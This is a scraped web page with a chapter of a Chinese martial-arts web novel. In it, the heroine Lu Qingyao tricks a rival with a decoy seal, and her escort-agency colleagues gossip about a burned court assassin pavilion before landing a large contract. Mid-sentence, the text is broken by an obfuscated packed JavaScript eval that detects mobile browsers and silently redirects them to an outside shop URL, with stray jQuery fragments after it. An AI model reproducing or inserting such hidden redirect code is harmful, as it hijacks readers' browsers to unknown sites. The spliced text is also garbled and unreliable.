文趣网 > 其他小说 > 雇主竟是我的前同事 > 2. 京城来的督察使
    回到镖局后已是深夜,万籁俱静。

    陆清杳垂下眼睫微微颤动,倒了一杯水喝了几口润嗓子,又服下了一颗治疗内伤的药,才不紧不慢地从怀中拿出玉麒麟。

    她仔仔细细地看了一遍此物,确认了是斐老的信印。

    料想到应不止一路人对此物感兴趣,防止再有人来把玉麒麟抢走,她故意留了一手。

    今夜她从匈奴人那儿拿到玉麒麟后,就从地上随手捡了一块儿形状大小差不多儿的石头放进了盒子中,而真正的玉麒麟已被她放在了怀兜里。

    调换的过程极为隐蔽,黑夜、树林,在那种环境下从远处看,根本看不出有任何异常。

    果不其然,刚打算起身离开就被人挡住了去路……

    既然那位白衣客这么想要那方盒子,那她就只好顺水推舟地送那块石头给他了。

    烛火惺忪,摇摇晃晃,映出重影。

    她的指尖轻叩案桌,发出轻弱的嗒嗒声。

    玉麒麟,乃当今圣上亲赐给斐阁老的信印。

    此物怎会在匈奴人手里?

    现在玉麒麟的出现未免太蹊跷,故而不能声张,陆清杳将此物妥善放置好后,躺在床榻上闭目休息,脑子里却思绪万千。

    无论如何,既然已经知晓今日那两人中有一位是潘序,那事情便好办多了。

    过几日待她去潘序府里一探究竟。

    ……

    回府的半路上,徐衍策回想起刚刚的交手随即察觉古怪。

    这女子跟他交锋时用得都是取人性命的杀招,但这招数里似乎又总差着一股劲。

    他是去夺物,按常理,此人应护好手中的木盒才对,而不是急于要他性命。

    况且……这人刚刚被赫连函击了一掌,应该趁他不备之时尽快逃走,而不是主动挑衅于他。

    思及此处,徐衍策打开盒子。

    果不其然,一颗灰朴朴的石头静静躺在盒中央,仿佛是在嘲笑他的蠢笨……

    徐衍策的嘴角微微向上牵起一个极浅的弧度,眼底却没有丝毫笑意。

    ……

    次日,赵氏镖局。

    马余,云闻和李彪三人正在院里准备练几招,活动活动身子骨。

    马余不经意朝大门撇了眼,眼睛一亮,嚷嚷道:“阿杳姐回来了!快来!有大事!”

    刚走到赵家镖局门口,陆清杳就听见马余的叫唤。

    她慢慢悠悠踏进大门,一个灵活的身影突地窜到了面前直接拿走了她手上拎着的核桃酥。

    马余将核桃酥凑近鼻子一闻,随即开口:“哇呀呀!这徐记核桃酥可是要走很远的路才能买到的呀,怪不得你出去了这么久。”

    今日她同往常一样悠哉悠哉去街上闲逛,路过桃酥铺子时,阵阵香气扑鼻而来。

    她摸着自己的空荡荡的荷包,两眼一闭,一咬牙,还是忍痛买了两袋核桃酥。

    然而走在路上没忍住,回到镖局就只剩一袋了……

    陆清杳望着旁边的在擦着刀刃的云闻和李彪微微点头,唇角一笑:“碰巧从那路过,拿去,专程给大家带的。”

    就是不知这一袋儿够不够你们分……

    闻言,云闻和李彪立刻放下手中的家伙什,马余打开手里的油纸向他俩走去,直接将一块核桃酥塞进了李彪的嘴里。

    云闻拿起一块核桃酥,坐在石凳上笑道:“看来阿杳今天心情极佳。”

    她道:“其实每日都挺佳的。”

    然后看向满嘴酥碎的马余问道:“对了,你刚刚急着叫我作甚?”

    马余一拍脑袋,指着里间说道:“来活了!一票大的!阿杳姐你不是整天接镖赚银子吗,这趟足够了!”

    摸着络腮胡的李彪在一旁附和:“确实,这是我干这么久接到的最大的一票!”

    “有多少?”她不禁好奇。

    马余用手指比划了个数,“一百两。”

    “黄金。”云闻默默补充道。

    陆清杳确实被惊讶到了:“黄金?那这确实是票大的!”

    她默默地想,如今自己手头并不宽裕,倘若此镖能安全送达,她就可以经常买很多好吃的了,比如核桃酥。

    其实她也不是穷到揭不开锅,只是不知为何,这银子在她身上放着放着,没几日,就不知花哪去了……

    对于这件事,她也甚是苦恼。

    念及此处,她决定这趟镖要好好护送,确保万无一失。

    偏隅的杨柳垂落着缕缕青丝,为这一方天地更添一抹春色。

    闲来也无事,陆清杳把今日在街上听到的有趣的事儿讲给李彪几人听。

    她念完街街口那老母的儿子打人入狱了,又接着说猪肉铺那男人被他媳妇儿发现在背地里偷情……从南街聊到北街,东市讲到西市。

    他们听得津津有味,特别是马余,就差捧着瓜子儿坐在她身旁了。

    大家聊的有声有色,云闻看着院子里的新枝嫩芽,不禁叹道:“料峭三分春,惊蛰万物生。又是一年春天了呀!”

    偌大的院子里,柳枝上鸟雀在吱吱叫。

    突然,李彪似想到什么,神神

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838752|211565||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    秘秘地说道:“那你们还记得永宁十二年惊蛰那日陇州城的那场大火吗?”

    云闻愣一会儿后,拿起石桌上的杯子吃了口茶,说道:“那是自然,去年尚鞑阁那场火这可是朝堂中的一件大事。”

    “尚鞑”为“上达”之意,尚鞑阁直接听令于天子,是皇帝在庙堂之远处单独设立的一个暗杀组织。

    陆清杳在一旁兴致缺缺地听着,偶尔又去逗弄一下小花儿,她觉着刚刚坊间那些鸡毛蒜皮的小事儿比这个有意思多了。

    李彪道:“就是不知道那四使是不是真如坊间所言,同斐老一起命丧黄泉了。从那日起我就没再听过四位使者的闲闻逸事!生活都少了不少乐趣!”

    陆清杳听闻这个,眼里方才有了神。

    闲闻逸事?她倒是没听说过,忙支起身子,刚想让李彪多说一些,没想到被马余打断,然后她凉嗖嗖地看了他一眼。

    马余正聊的起劲:“唉!他们肯定都随尚鞑阁那场大火一起没了。”

    马余讪讪说着:“若他们还活着,一年前出那么大的事,他们四位未何这么久还不现身为斐阁老报仇?”。

    云闻却不大赞同马余这番言论,他道:“众人皆知尚鞑阁在一年前毁于一旦,圣上应对此事也极为上心,毕竟尚鞑阁也是他监控地方官员的一把利刃。至今为何还未着手调查,除非……”

    “除非什么?”李彪问道。

    云闻看向他们欲言又止,而后还是道:“除非,这事情另有隐情,或者涉及的深浅不是你我能想象的。”

    陆清杳漫不经心地摩挲着手中的茶盏,静静地听他们说着,视线从墙边含苞待放的花骨朵挪开,思绪纷纷。

    正巧此时,赵弦音和一身着华贵的老者从厅堂走出。

    老者朝赵弦音拱手作揖:“那劳烦赵东家今夜派人去府上取,我们东家这几日还有正事要忙,故决定后日早晨随各位镖师一同出发。”

    “好,今夜我便派二人前去贵府。”赵弦音回礼一笑。

    说话间,两人已走到门口,她脸上如春风佛面,掩盖不住的激动:“胡管家慢走!”

    眉开眼笑地送走了胡管家,赵弦音直奔他们几个而来,“成了成了!”她直接拉着陆清杳的手,兴奋地说着:“这单若能顺利完成,我们镖局就用不愁了!”

    马余好奇看着她问道:“那雇主是谁?”

    赵弦音勾了勾手,神神秘秘地,让大家靠近些。

    陆清杳他们几人很给面子地望着她,示意她快说。

    “刚从京城过来的督察使!”